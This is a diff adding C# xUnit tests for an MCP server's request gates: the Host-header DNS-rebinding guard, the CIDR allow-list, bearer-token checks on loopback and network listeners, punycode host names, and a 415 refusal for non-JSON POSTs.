+        bool networkMode, string? hostName = null, ILogger? logger = null, string? rawAllowedHostName = null,
+        bool requireTokenWhenLoopbackOnly = false, CapturingTestLogger? hostLogger = null)
     {
         var builder = WebApplication.CreateBuilder();
         builder.WebHost.UseTestServer();
@@ -74,17 +91,35 @@ private static async Task<TestServer> BuildServer(bool networkMode)
 
         var app = builder.Build();
 
+        // hostLogger is the host's own logger, the one the gates write their refusal lines to; the Host-refusal line test reads it.
         var host = new DarlingMcpHostService(
-            Microsoft.Extensions.Logging.Abstractions.NullLogger<DarlingMcpHostService>.Instance,
+            hostLogger is null
+                ? Microsoft.Extensions.Logging.Abstractions.NullLogger<DarlingMcpHostService>.Instance
+                : new CapturingHostLogger(hostLogger),
             new McpRuntimeState(),
             new MonitoredServerRegistryState());
 
         host.ConfigurePipeline(
             app,
             networkMode: networkMode,
-            networkListenIp: networkMode ? IPAddress.Parse(ListenIp) : null,
+            // #5288: the Host guard's listen address is decided exactly as TryStartServerAsync decides it, through
+            // ResolveHostGuardListenIp from the FINAL mode. The host parses the configured address before any degrade,
+            // so a start that degraded out of network mode (requireTokenWhenLoopbackOnly) still has it in hand and the
+            // resolver is what drops it; a start that never had a network block has none to hand over.
+            networkListenIp: DarlingMcpHostService.ResolveHostGuardListenIp(
+                networkMode, networkMode || requireTokenWhenLoopbackOnly ? IPAddress.Parse(ListenIp) : null),
             allowedCidr: IPNetwork.Parse(AllowedCidr),
-            bearerToken: Token);
+            bearerToken: Token,
+            // #5288: the configured name is decided exactly as TryStartServerAsync decides it, through
+            // ResolveAllowedHostName from the FINAL mode, so loopback mode never admits it. Passing the name here
+            // unconditionally would hide the very rule that HostName_AdmittedInNetworkMode_RefusedInLoopbackMode_OtherNamesStill400 pins.
+            // rawAllowedHostName is the one exception, for the test that hands ConfigurePipeline a name the resolver
+            // would never pass it (a malformed punycode label): the pipeline itself must survive that.
+            allowedHostName: rawAllowedHostName ?? DarlingMcpHostService.ResolveAllowedHostName(
+                hostName, networkMode, logger ?? Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance),
+            // #5288: true only for a start that network mode degraded out of (TLS refused, token resolved); the
+            // never-network loopback-only server in the tests below leaves it false, exactly as the host does.
+            requireTokenWhenLoopbackOnly: requireTokenWhenLoopbackOnly);
 
         await app.StartAsync();
         return app.GetTestServer();
@@ -121,7 +156,8 @@ private static Task<HttpContext> SendRaw(TestServer server, string path, string
     }
 
     private static async Task<(int StatusCode, string Body)> SendJsonRpcCoreAsync(
-        TestServer server, string path, string host, IPAddress remote, string requestBody, string? bearer)
+        TestServer server, string path, string host, IPAddress remote, string requestBody, string? bearer,
+        string contentType = "application/json")
     {
         var ctx = await server.SendAsync(c =>
         {
@@ -129,7 +165,11 @@ private static Task<HttpContext> SendRaw(TestServer server, string path, string
             c.Request.Path = path;
             c.Request.Headers.Host = host;
             c.Request.Headers.Accept = "application/json, text/event-stream";
-            c.Request.ContentType = "application/json";
+            if (contentType.Length > 0)
+            {
+                c.Request.ContentType = contentType;
+            }
+
             var bytes = Encoding.UTF8.GetBytes(requestBody);
             c.Request.Body = new System.IO.MemoryStream(bytes);
             c.Request.ContentLength = bytes.Length;
@@ -168,6 +208,91 @@ public async Task NetworkMode_NoToken_IsRefusedOnBothPaths(string path)
         Assert.Equal(StatusCodes.Status401Unauthorized, statusCode);
     }
 
+    /// <summary>
+    /// #5288: network mode configured, then degraded to loopback-only because the TLS certificate was refused, token
+    /// resolved. The loopback-only server keeps the bearer-token gate (the host passes
+    /// <c>requireTokenWhenLoopbackOnly</c> for exactly that start), on both paths and both loopback families: no token
+    /// and a wrong token get 401, the right token gets <c>tools/list</c>. Every client presented the token before the
+    /// certificate lapsed, so nothing that worked stops working.
+    /// </summary>
+    [Theory]
+    [InlineData("/", "127.0.0.1")]
+    [InlineData("/core", "127.0.0.1")]
+    [InlineData("/", "::1")]
+    [InlineData("/core", "::1")]
+    public async Task TlsRefusal_DegradedLoopbackServer_StillRequiresTheToken(string path, string loopback)
+    {
+        using var server = await BuildServer(networkMode: false, requireTokenWhenLoopbackOnly: true);
+        var remote = IPAddress.Parse(loopback);
+
+        var (noToken, _) = await ToolsListAsync(server, path, "localhost", remote);
+        Assert.Equal(StatusCodes.Status401Unauthorized, noToken);
+
+        var (wrongToken, _) = await ToolsListAsync(server, path, "localhost", remote, "not-the-token");
+        Assert.Equal(StatusCodes.Status401Unauthorized, wrongToken);
+
+        var (withToken, body) = await ToolsListAsync(server, path, "localhost", remote, Token);
+        Assert.True(withToken == StatusCodes.Status200OK, $"the right token must reach tools/list, got {withToken}: {body}");
+    }
+
+    /// <summary>The Host guard still runs first on the token-keeping loopback-only server, so a foreign Host is 400
+    /// whatever token it carries.</summary>
+    [Fact]
+    public async Task TlsRefusal_DegradedLoopbackServer_ForeignHostIsStill400()
+    {
+        using var server = await BuildServer(networkMode: false, requireTokenWhenLoopbackOnly: true);
+        var ctx = await SendRaw(server, "/", "evil.com", IPAddress.Loopback, bearer: Token);
+
+        Assert.Equal(StatusCodes.Status400BadRequest, ctx.Response.StatusCode);
+    }
+
+    /// <summary>
+    /// #5288: the degraded loopback-only server listens on loopback only, so its Host guard admits loopback names
+    /// only. A request that names the configured listen address is answered 400 even with the right token, because
+    /// nothing is listening there any more, while a loopback name with the same token still reaches <c>tools/list</c>.
+    /// The server is built through <c>ResolveHostGuardListenIp</c> with the final mode, the way the host builds it.
+    /// </summary>
+    [Theory]
+    [InlineData("/")]
+    [InlineData("/core")]
+    public async Task TlsRefusal_DegradedLoopbackServer_AdmitsLoopbackNamesOnly_NotTheListenAddress(string path)
+    {
+        using var server = await BuildServer(networkMode: false, requireTokenWhenLoopbackOnly: true);
+
+        var named = await SendRaw(server, path, ListenIp, IPAddress.Loopback, bearer: Token);
+        Assert.Equal(StatusCodes.Status400BadRequest, named.Response.StatusCode);
+
+        var (loopbackName, body) = await ToolsListAsync(server, path, "localhost", IPAddress.Loopback, Token);
+        Assert.True(loopbackName == StatusCodes.Status200OK, $"a loopback name with the token must reach tools/list, got {loopbackName}: {body}");
+    }
+
+    /// <summary>
+    /// #5288: the CIDR check runs BEFORE the token check, so an address outside <c>allowFrom</c> is answered 403
+    /// whatever it sends: no token, a wrong token and the right token all get the same status, and a client that
+    /// cannot route in learns nothing about the token from the port. An in-list client with the same wrong token
+    /// still gets 401, so the two gates stay distinguishable to the operator.
+    /// </summary>
+    [Theory]
+    [InlineData("/", null)]
+    [InlineData("/", "not-the-token")]
+    [InlineData("/", Token)]
+    [InlineData("/core", null)]
+    [InlineData("/core", "not-the-token")]
+    [InlineData("/core", Token)]
+    public async Task OffListRemote_RightOrWrongToken_Both403(string path, string? bearer)
+    {
+        using var server = await BuildServer(networkMode: true);
+
+        var (offList, _) = await ToolsListAsync(server, path, ListenIp, IPAddress.Parse("203.0.113.50"), bearer);
+        Assert.Equal(StatusCodes.Status403Forbidden, offList);
+
+        if (bearer == "not-the-token")
+        {
+            var (inList, _) = await ToolsListAsync(server, path, ListenIp, InCidrRemote, bearer);
+            Assert.Equal(StatusCodes.Status401Unauthorized, inList);
+        }
+    }
+
     /// <summary>A foreign Host header is refused on both paths, in both modes — the DNS-rebinding guard runs
     /// FIRST, before the bearer/CIDR checks even see the request.</summary>
     [Theory]
@@ -183,6 +308,194 @@ public async Task ForeignHost_IsRefusedOnBothPaths_InBothModes(bool networkMode,
         Assert.Equal(StatusCodes.Status400BadRequest, ctx.Response.StatusCode);
     }
 
+    /// <summary>
+    /// #5288: the line the Host guard logs for a refused name tells the operator which settings decide the names it
+    /// admits, the way the web dashboard's line names <c>web.publicBaseUrl</c>'s host: the loopback names, the listen
+    /// address (<c>mcp.network.listen</c>) and the configured name (<c>mcp.network.hostName</c>), the last two in
+    /// network mode only. Read from the host's own logger through the real pipeline, so it is the line the service
+    /// writes, not a copy of it.
+    /// </summary>
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task ForeignHost_TheRefusalLogLine_NamesTheSettingsThatDecideTheAdmittedNames(bool networkMode)
+    {
+        var hostLogger = new CapturingTestLogger();
+        using var server = await BuildServer(networkMode, hostName: "mcp.corp.example", hostLogger: hostLogger);
+
+        var ctx = await SendRaw(server, "/", "evil.com", networkMode ? InCidrRemote : IPAddress.Loopback, bearer: networkMode ? Token : null);
+        Assert.Equal(StatusCodes.Status400BadRequest, ctx.Response.StatusCode);
+
+        var line = Assert.Single(hostLogger.Lines);
+        Assert.StartsWith("Warning: MCP ", line, StringComparison.Ordinal);
+        Assert.Contains("the Host header 'evil.com' is not an address this endpoint binds", line, StringComparison.Ordinal);
+        Assert.Contains("mcp.network.listen when LAN-exposed", line, StringComparison.Ordinal);
+        Assert.Contains("mcp.network.hostName when LAN-exposed", line, StringComparison.Ordinal);
+        Assert.Contains(DarlingMcpHostService.HostRefusalAdmits, line, StringComparison.Ordinal);
+        /* The line names the setting, never its value: the configured name is not written to the log. */
+        Assert.DoesNotContain("mcp.corp.example", line, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5288, review F2: <c>mcp.network.hostName</c> is admitted by the Host guard in NETWORK mode only. With the
+    /// name configured, network mode admits it (as written, or in any case) on both paths and still demands the
+    /// token, loopback mode given the SAME configured name refuses it 400 while its loopback names keep working,
+    /// and every OTHER name is still refused 400 in both. The name reaches the pipeline through
+    /// <see cref="DarlingMcpHostService.ResolveAllowedHostName"/>, the method production calls with the final
+    /// mode, so this fails the moment the name is passed in loopback mode too.
+    /// </summary>
+    [Theory]
+    [InlineData("/")]
+    [InlineData("/core")]
+    public async Task HostName_AdmittedInNetworkMode_RefusedInLoopbackMode_OtherNamesStill400(string path)
+    {
+        const string hostName = "mcp.corp.example";
+
+        using var network = await BuildServer(networkMode: true, hostName);
+
+        // Admitted, as written and in any case: with the token the request gets past every gate to a handler.
+        foreach (var host in new[] { hostName, "MCP.Corp.Example" })
+        {
+            var (status, _) = await ToolsListAsync(network, path, host, InCidrRemote, bearer: Token);
+            Assert.True(status == StatusCodes.Status200OK, $"network mode, Host '{host}' on {path}: expected 200, got {status}");
+        }
+
+        // A Host is not a credential: the guard admits the name, and the token gate still runs after it.
+        var (noToken, _) = await ToolsListAsync(network, path, hostName, InCidrRemote);
+        Assert.Equal(StatusCodes.Status401Unauthorized, noToken);
+
+        // The names the guard always admitted are untouched by the extra one.
+        foreach (var host in new[] { ListenIp, "localhost" })
+        {
+            var (status, _) = await ToolsListAsync(network, path, host, InCidrRemote, bearer: Token);
+            Assert.True(status == StatusCodes.Status200OK, $"network mode, Host '{host}' on {path}: expected 200, got {status}");
+        }
+
+        // Every other name is still 400, token and all: another site, a longer name that only ENDS with it, a
+        // longer one that only STARTS with it, its parent domain, a child of it, and an IP that is not the listen IP.
+        foreach (var other in new[] { "evil.com", "evil-mcp.corp.example", "mcp.corp.example.evil.com", "corp.example", "sub.mcp.corp.example", "10.9.9.9" })
+        {
+            var ctx = await SendRaw(network, path, other, InCidrRemote, bearer: Token);
+            Assert.True(
+                ctx.Response.StatusCode == StatusCodes.Status400BadRequest,
+                $"network mode, Host '{other}' on {path}: expected 400, got {ctx.Response.StatusCode}");
+        }
+
+        // Loopback mode with the SAME name configured: refused, because that surface is tokenless and a name the
+        // operator wrote for the network listener's clients buys nothing there.
+        using var loopback = await BuildServer(networkMode: false, hostName);
+
+        foreach (var host in new[] { hostName, "MCP.Corp.Example" })
+        {
+            var ctx = await SendRaw(loopback, path, host, IPAddress.Loopback);
+            Assert.True(
+                ctx.Response.StatusCode == StatusCodes.Status400BadRequest,
+                $"loopback mode, Host '{host}' on {path}: expected 400, got {ctx.Response.StatusCode}");
+        }
+
+        // ...while the loopback names keep working, and a foreign name is still refused.
+        var (loopbackStatus, _) = await ToolsListAsync(loopback, path, "localhost", IPAddress.Loopback);
+        Assert.Equal(StatusCodes.Status200OK, loopbackStatus);
+
+        var foreign = await SendRaw(loopback, path, "evil.com", IPAddress.Loopback);
+        Assert.Equal(StatusCodes.Status400BadRequest, foreign.Response.StatusCode);
+    }
+
+    /// <summary>
+    /// #5288 item 3: a host name written in Unicode is admitted as the ASCII (punycode) name a client sends in its
+    /// Host header. ASP.NET Core decodes that header to Unicode before the guard sees it, so the pipeline compares
+    /// the configured name in the same decoded form; a different internationalized name is still refused.
+    /// </summary>
+    [Fact]
+    public async Task HostName_WrittenInUnicode_IsAdmittedAsItsPunycodeHost()
+    {
+        using var server = await BuildServer(networkMode: true, hostName: "b\u00FCcher.example");
+
+        var (punycode, body) = await ToolsListAsync(server, "/", "xn--bcher-kva.example", InCidrRemote, bearer: Token);
+        Assert.True(punycode == StatusCodes.Status200OK, $"expected 200, got {punycode}: {body}");
+
+        var other = await SendRaw(server, "/", "xn--e1afmkfd.example", InCidrRemote, bearer: Token);
+        Assert.Equal(StatusCodes.Status400BadRequest, other.Response.StatusCode);
+    }
+
+    /// <summary>
+    /// #5288: IDNA names are case-insensitive, so a punycode host name written in upper case is admitted exactly like
+    /// the lower-case spelling. The framework decodes a Host header's <c>xn--</c> labels only when the prefix is lower
+    /// case (the form a client sends), so the configured name is held in lower case and decodes the same way; a
+    /// different internationalized name is still refused.
+    /// </summary>
+    [Theory]
+    [InlineData("XN--BCHER-KVA.EXAMPLE")]
+    [InlineData("xn--bcher-kva.example")]
+    public async Task HostName_UpperCasePunycode_IsAdmitted(string configured)
+    {
+        using var server = await BuildServer(networkMode: true, hostName: configured);
+
+        var (punycode, body) = await ToolsListAsync(server, "/", "xn--bcher-kva.example", InCidrRemote, bearer: Token);
+        Assert.True(punycode == StatusCodes.Status200OK, $"expected 200, got {punycode}: {body}");
+
+        var other = await SendRaw(server, "/", "xn--e1afmkfd.example", InCidrRemote, bearer: Token);
+        Assert.Equal(StatusCodes.Status400BadRequest, other.Response.StatusCode);
+    }
+
+    /// <summary>
+    /// #5288 item 2: a host name that is SET but is not a bare DNS name admits NOTHING, not even the part a lenient
+    /// parser would keep (the host before a port, a name a wildcard would match), and logs exactly one Warning at
+    /// start that names the key and the value as written. The listener is otherwise unaffected: the listen IP and
+    /// the token still work, because a typo in an optional name must not take MCP down.
+    /// </summary>
+    [Theory]
+    [InlineData("mcp.corp.example:5152", "mcp.corp.example")]
+    [InlineData("https://mcp.corp.example/", "mcp.corp.example")]
+    [InlineData("mcp.corp.example/mcp", "mcp.corp.example")]
+    [InlineData("*.corp.example", "mcp.corp.example")]
+    [InlineData("10.9.9.9", "10.9.9.9")]
+    [InlineData("mcp.corp.example..", "mcp.corp.example")]
+    [InlineData("b\u00FCcher..example", "xn--bcher-kva.example")]
+    [InlineData("xn--a", "evil.com")]
+    [InlineData("mcp.xn--a.example", "evil.com")]
+    public async Task HostName_SetButRefused_IsNotAdmitted_AndLogsOneWarning(string refusedValue, string hostAClientWouldSend)
+    {
+        var logger = new CapturingTestLogger();
+        using var server = await BuildServer(networkMode: true, refusedValue, logger);
+
+        var line = Assert.Single(logger.Lines);
+        Assert.StartsWith("Warning: ", line);
+        Assert.Contains("mcp.network.hostName", line);
+        Assert.Contains(refusedValue, line);
+
+        var refused = await SendRaw(server, "/", hostAClientWouldSend, InCidrRemote, bearer: Token);
+        Assert.Equal(StatusCodes.Status400BadRequest, refused.Response.StatusCode);
+
+        var (listenIp, _) = await ToolsListAsync(server, "/", ListenIp, InCidrRemote, bearer: Token);
+        Assert.Equal(StatusCodes.Status200OK, listenIp);
+    }
+
+    /// <summary>
+    /// #5288: <c>ConfigurePipeline</c> admits whatever name it is given, so it must not fail start-up for a malformed
+    /// punycode label (<c>xn--a</c> decodes to nothing and makes <c>HostString.FromUriComponent</c> throw
+    /// <c>ArgumentException</c>), even though <c>McpNetworkConfig.NormalizeHostName</c> already refuses such a name
+    /// before production reaches this method. Called directly, with the raw name, so this fails the moment the
+    /// pipeline's own conversion loses its catch. The conversion falls back to the raw value: the pipeline still
+    /// builds, still refuses a foreign Host, and still admits the names it always admits.
+    /// </summary>
+    [Theory]
+    [InlineData("xn--a")]
+    [InlineData("mcp.xn--a.example")]
+    public async Task MalformedPunycodeAllowedHostName_PassedStraightToConfigurePipeline_DoesNotFailStartUp(string rawAllowedHostName)
+    {
+        using var server = await BuildServer(networkMode: true, rawAllowedHostName: rawAllowedHostName);
+
+        var foreign = await SendRaw(server, "/", "evil.com", InCidrRemote, bearer: Token);
+        Assert.Equal(StatusCodes.Status400BadRequest, foreign.Response.StatusCode);
+
+        foreach (var host in new[] { ListenIp, "localhost" })
+        {
+            var (status, body) = await ToolsListAsync(server, "/", host, InCidrRemote, bearer: Token);
+            Assert.True(status == StatusCodes.Status200OK, $"Host '{host}': expected 200, got {status}: {body}");
+        }
+    }
+
     /// <summary>Network mode, the right token, an in-CIDR remote: a tools/list on <c>/</c> succeeds — proof
     /// the request got PAST every gate.</summary>
     [Fact]
@@ -195,6 +508,275 @@ public async Task NetworkMode_RightTokenInCidr_ToolsListSucceeds()
         Assert.Equal(StatusCodes.Status200OK, statusCode);
     }
 
+    /// <summary>
+    /// A token the operator configured gates a loopback-only server too. The production start resolves it with
+    /// <see cref="DarlingMcpHostService.ResolveLoopbackOnlyToken"/> and hands the answer to the pipeline as the bearer
+    /// token with the loopback-only token gate on; this builds the pipeline from the same answer, on both paths and
+    /// both loopback families: no token and a wrong token get 401, the right token gets <c>tools/list</c>.
+    /// </summary>
+    [Theory]
+    [InlineData("/", "127.0.0.1")]
+    [InlineData("/core", "127.0.0.1")]
+    [InlineData("/", "::1")]
+    [InlineData("/core", "::1")]
+    public async Task LoopbackOnly_ConfiguredToken_IsRequired_RightTokenPasses(string path, string loopback)
+    {
+        var resolved = DarlingMcpHostService.ResolveLoopbackOnlyToken(
+            new McpNetworkConfig { Token = Token },
+            Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance);
+        Assert.False(resolved.Refuse);
+        Assert.Equal(Token, resolved.Token);
+
+        using var server = await BuildServer(networkMode: false, requireTokenWhenLoopbackOnly: resolved.Token.Length > 0);
+        var remote = IPAddress.Parse(loopback);
+
+        var (noToken, _) = await ToolsListAsync(server, path, "localhost", remote);
+        Assert.Equal(StatusCodes.Status401Unauthorized, noToken);
+
+        var (wrongToken, _) = await ToolsListAsync(server, path, "localhost", remote, "not-the-token");
+        Assert.Equal(StatusCodes.Status401Unauthorized, wrongToken);
+
+        var (withToken, body) = await ToolsListAsync(server, path, "localhost", remote, resolved.Token);
+        Assert.True(withToken == StatusCodes.Status200OK, $"the right token must reach tools/list, got {withToken}: {body}");
+    }
+
+    /// <summary>No token configured, loopback-only: the listener is open to local clients exactly as before (no new prompt).</summary>
+    [Fact]
+    public async Task LoopbackOnly_NoTokenConfigured_StaysOpen()
+    {
+        var resolved = DarlingMcpHostService.ResolveLoopbackOnlyToken(
+            new McpNetworkConfig { Token = "   " },
+            Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance);
+        Assert.False(resolved.Refuse);
+        Assert.Equal("", resolved.Token);
+        Assert.Equal("", DarlingMcpHostService.ResolveLoopbackOnlyToken(null, Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance).Token);
+
+        using var server = await BuildServer(networkMode: false, requireTokenWhenLoopbackOnly: resolved.Token.Length > 0);
+
+        var (statusCode, _) = await ToolsListAsync(server, "/", "localhost", IPAddress.Loopback);
+
+        Assert.Equal(StatusCodes.Status200OK, statusCode);
+    }
+
+    /// <summary>A configured token that cannot be decrypted stops the start (Critical line, no token in it) instead of
+    /// serving the loopback listener open.</summary>
+    [Fact]
+    public void LoopbackOnly_ConfiguredTokenThatCannotBeUsed_RefusesTheStart_WithOneCriticalLine()
+    {
+        var log = new CapturingTestLogger();
+        var resolved = DarlingMcpHostService.ResolveLoopbackOnlyToken(
+            new McpNetworkConfig { EncryptedToken = "not-a-protected-blob" }, new CapturingHostLogger(log));
+
+        Assert.True(resolved.Refuse);
+        Assert.Equal("", resolved.Token);
+        Assert.Contains(log.Lines, l => l.Contains("MCP network token", StringComparison.Ordinal)
+            && l.Contains("refusing to serve", StringComparison.Ordinal));
+        Assert.DoesNotContain(log.Lines, l => l.Contains("not-a-protected-blob", StringComparison.Ordinal));
+    }
+
+    private static int FreeTcpPort()
+    {
+        var listener = new System.Net.Sockets.TcpListener(IPAddress.Loopback, 0);
+        listener.Start();
+        try
+        {
+            return ((IPEndPoint)listener.LocalEndpoint).Port;
+        }
+        finally
+        {
+            listener.Stop();
+        }
+    }
+
+    /// <summary>
+    /// Network mode with a token that is configured but cannot be used (a blob this host cannot decrypt, a variable
+    /// that is not set) does not start the listener at all, exactly as a loopback-only start does: the real start
+    /// returns false, logs one Critical line, and nothing answers on the loopback port.
+    /// </summary>
+    [Theory]
+    [InlineData("\"encryptedToken\": \"not-a-protected-blob\"")]
+    [InlineData("\"token\": \"env:DARLING_TEST_MCP_TOKEN_THAT_IS_NOT_SET\"")]
+    public async Task NetworkMode_ConfiguredTokenThatCannotBeUsed_DoesNotStart_AndNothingAnswersOnTheLoopbackPort(string tokenJson)
+    {
+        var port = FreeTcpPort();
+        var config = DarlingConfig.Parse(
+            ("{ 'postgres': { 'managed': true }, 'servers': [ { 'host': 'SQL2022' } ], 'mcp': { 'enabled': true, 'port': "
+            + port + ", 'network': { 'listen': '" + ListenIp + "', 'allowFrom': '" + AllowedCidr + "', " + tokenJson + " } } }")
+            .Replace('\'', '"'));
+        var log = new CapturingTestLogger();
+        var host = new DarlingMcpHostService(new CapturingHostLogger(log), new McpRuntimeState(), new MonitoredServerRegistryState());
+        var toggle = new PerformanceMonitor.Darling.Service.Hosting.DarlingHostBinding.EndpointToggle(
+            true, port, PerformanceMonitor.Darling.Service.Hosting.DarlingHostBinding.EndpointToggleOrigin.File, false, false);
+        var tryStart = typeof(DarlingMcpHostService).GetMethod(
+            "TryStartServerAsync", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic)!;
+        var started = true;
+        var answered = false;
+        try
+        {
+            started = await (Task<bool>)tryStart.Invoke(host, [config, toggle, System.Threading.CancellationToken.None])!;
+            try
+            {
+                using var client = new System.Net.Sockets.TcpClient();
+                using var cts = new System.Threading.CancellationTokenSource(TimeSpan.FromSeconds(5));
+                await client.ConnectAsync(IPAddress.Loopback, port, cts.Token);
+                answered = true;
+            }
+            catch (System.Net.Sockets.SocketException)
+            {
+            }
+        }
+        finally
+        {
+            await host.DisposeFailedStartAsync();
+        }
+
+        Assert.False(started, "a configured token that cannot be used must stop the start in network mode");
+        Assert.False(answered, "nothing may answer on the loopback port");
+        Assert.Contains(log.Lines, l => l.Contains("MCP network token", StringComparison.Ordinal)
+            && l.Contains("MCP server not started", StringComparison.Ordinal));
+        Assert.DoesNotContain(log.Lines, l => l.Contains("not-a-protected-blob", StringComparison.Ordinal));
+    }
+
+    /// <summary>The start itself calls the resolver on a loopback-only bind and stops on a refusal, so the pipeline
+    /// tests above describe what production serves.</summary>
+    [Fact]
+    public void TryStartServerAsync_ResolvesTheLoopbackOnlyToken_AndStopsOnARefusal()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpHostService.cs");
+        var start = source.IndexOf("private async Task<bool> TryStartServerAsync(", StringComparison.Ordinal);
+        Assert.True(start > 0);
+        var body = source[start..];
+        var call = body.IndexOf("ResolveLoopbackOnlyToken(config.Mcp.Network, _logger)", StringComparison.Ordinal);
+        Assert.True(call > 0, "TryStartServerAsync must resolve a configured token on a loopback-only start");
+        var tail = body[call..];
+        Assert.Contains("if (loopbackToken.Refuse)", tail[..400], StringComparison.Ordinal);
+        Assert.Contains("bearerToken = loopbackToken.Token;", tail[..700], StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A POST must carry a JSON Content-Type; any other type is answered 415 in both modes and the tool does not run,
+    /// whatever the body holds (here a valid <c>tools/call</c> for a write tool).
+    /// </summary>
+    [Theory]
+    [InlineData(false, "text/plain")]
+    [InlineData(false, "application/x-www-form-urlencoded")]
+    [InlineData(false, "multipart/form-data; boundary=x")]
+    [InlineData(false, "")]
+    [InlineData(false, "application/problem+json")]
+    [InlineData(false, "text/json")]
+    [InlineData(false, "application/json-seq")]
+    [InlineData(true, "text/plain")]
+    [InlineData(true, "application/x-www-form-urlencoded")]
+    [InlineData(true, "multipart/form-data; boundary=x")]
+    public async Task Post_WithANonJsonContentType_Is415_AndTheWriteToolDoesNotRun(bool networkMode, string contentType)
+    {
+        using var server = await BuildServer(networkMode: networkMode);
+        var host = networkMode ? ListenIp : "localhost";
+        var remote = networkMode ? InCidrRemote : IPAddress.Loopback;
+        var call = "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"mute_analysis_finding\",\"arguments\":{}}}";
+
+        foreach (var path in new[] { "/", "/core" })
+        {
+            var (statusCode, body) = await SendJsonRpcCoreAsync(
+                server, path, host, remote, call, networkMode ? Token : null, contentType);
+
+            Assert.True(statusCode == StatusCodes.Status415UnsupportedMediaType, $"{path} {contentType}: got {statusCode}: {body}");
+            Assert.DoesNotContain("\"result\"", body, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>
+    /// The 415 refusal is reported like the other refusal sites: one log line naming the gate and the media type
+    /// (or saying there was none), read from the host's own logger through the real pipeline.
+    /// </summary>
+    [Theory]
+    [InlineData(false, "text/plain", "the media type 'text/plain'")]
+    [InlineData(true, "text/plain", "the media type 'text/plain'")]
+    [InlineData(false, "", "no Content-Type")]
+    public async Task NonJsonPost_LogsOneRefusalLine_NamingTheJsonContentTypeGate(bool networkMode, string contentType, string expectedDetail)
+    {
+        var hostLogger = new CapturingTestLogger();
+        using var server = await BuildServer(networkMode, hostLogger: hostLogger);
+        var host = networkMode ? ListenIp : "localhost";
+        var remote = networkMode ? InCidrRemote : IPAddress.Loopback;
+
+        var (statusCode, _) = await SendJsonRpcCoreAsync(server, "/", host, remote, "{}", networkMode ? Token : null, contentType);
+        Assert.Equal(StatusCodes.Status415UnsupportedMediaType, statusCode);
+
+        var line = Assert.Single(hostLogger.Lines);
+        Assert.StartsWith("Warning: MCP ", line, StringComparison.Ordinal);
+        Assert.Contains(DarlingHttpRefusalLog.Describe(DarlingRefusalGate.JsonContentType), line, StringComparison.Ordinal);
+        Assert.Contains("refused", line, StringComparison.Ordinal);
+        Assert.Contains("415", line, StringComparison.Ordinal);
+        Assert.Contains(expectedDetail, line, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The 415 check sits below the CIDR and token gates: a caller that fails a gate is answered 401 or 403 first,
+    /// whatever Content-Type it sends, and only a caller that passes them reaches the 415.
+    /// </summary>
+    [Theory]
+    [InlineData("/", "text/plain")]
+    [InlineData("/", "")]
+    [InlineData("/core", "application/x-www-form-urlencoded")]
+    public async Task NonJsonPost_OnATokenGatedLoopbackListener_Gets401UntilTheTokenIsRight(string path, string contentType)
+    {
+        using var server = await BuildServer(networkMode: false, requireTokenWhenLoopbackOnly: true);
+
+        var (noToken, _) = await SendJsonRpcCoreAsync(server, path, "localhost", IPAddress.Loopback, "{}", null, contentType);
+        Assert.Equal(StatusCodes.Status401Unauthorized, noToken);
+
+        var (wrongToken, _) = await SendJsonRpcCoreAsync(server, path, "localhost", IPAddress.Loopback, "{}", "not-the-token", contentType);
+        Assert.Equal(StatusCodes.Status401Unauthorized, wrongToken);
+
+        var (rightToken, _) = await SendJsonRpcCoreAsync(server, path, "localhost", IPAddress.Loopback, "{}", Token, contentType);
+        Assert.Equal(StatusCodes.Status415UnsupportedMediaType, rightToken);
+    }
+
+    [Fact]
+    public async Task NonJsonPost_InNetworkMode_Gets403OutsideTheCidr_And401WithoutTheToken()
+    {
+        using var server = await BuildServer(networkMode: true);
+        var outside = IPAddress.Parse("203.0.113.9");
+
+        var (outsideStatus, _) = await SendJsonRpcCoreAsync(server, "/", ListenIp, outside, "{}", Token, "text/plain");
+        Assert.Equal(StatusCodes.Status403Forbidden, outsideStatus);
+
+        var (noToken, _) = await SendJsonRpcCoreAsync(server, "/", ListenIp, InCidrRemote, "{}", null, "text/plain");
+        Assert.Equal(StatusCodes.Status401Unauthorized, noToken);
+
+        var (rightToken, _) = await SendJsonRpcCoreAsync(server, "/", ListenIp, InCidrRemote, "{}", Token, "text/plain");
+        Assert.Equal(StatusCodes.Status415UnsupportedMediaType, rightToken);
+    }
+
+    /// <summary>The JSON POST path is untouched: <c>application/json</c> (with or without a charset) still reaches the
+    /// transport, and a GET carries no body to type.</summary>
+    [Theory]
+    [InlineData("application/json")]
+    [InlineData("application/json; charset=utf-8")]
+    [InlineData("Application/JSON")]
+    public async Task Post_WithAJsonContentType_StillWorks(string contentType)
+    {
+        using var server = await BuildServer(networkMode: false);
+        var body = "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}";
+
+        var (statusCode, text) = await SendJsonRpcCoreAsync(server, "/", "localhost", IPAddress.Loopback, body, null, contentType);
+
+        Assert.True(statusCode == StatusCodes.Status200OK, $"got {statusCode}: {text}");
+    }
+
+    /// <summary>The Host check runs before the content-type check: a foreign Host with a non-JSON body is still 400.</summary>
+    [Fact]
+    public async Task Post_ForeignHost_WithANonJsonContentType_IsStill400()
+    {
+        using var server = await BuildServer(networkMode: false);
+
+        var (statusCode, _) = await SendJsonRpcCoreAsync(
+            server, "/", "evil.example", IPAddress.Loopback, "{}", null, "text/plain");
+
+        Assert.Equal(StatusCodes.Status400BadRequest, statusCode);
+    }
+
     /// <summary>Loopback mode, no token: no token middleware is installed at all in this mode, so a
     /// tools/list on <c>/</c> passes.</summary>
     [Fact]
@@ -264,6 +846,43 @@ public async Task Core_ToolsCall_OutsideThePinnedSet_GetsTheSdkUnknownToolError(
         Assert.Contains("Unknown tool", error.GetProperty("message").GetString(), StringComparison.OrdinalIgnoreCase);
     }
 
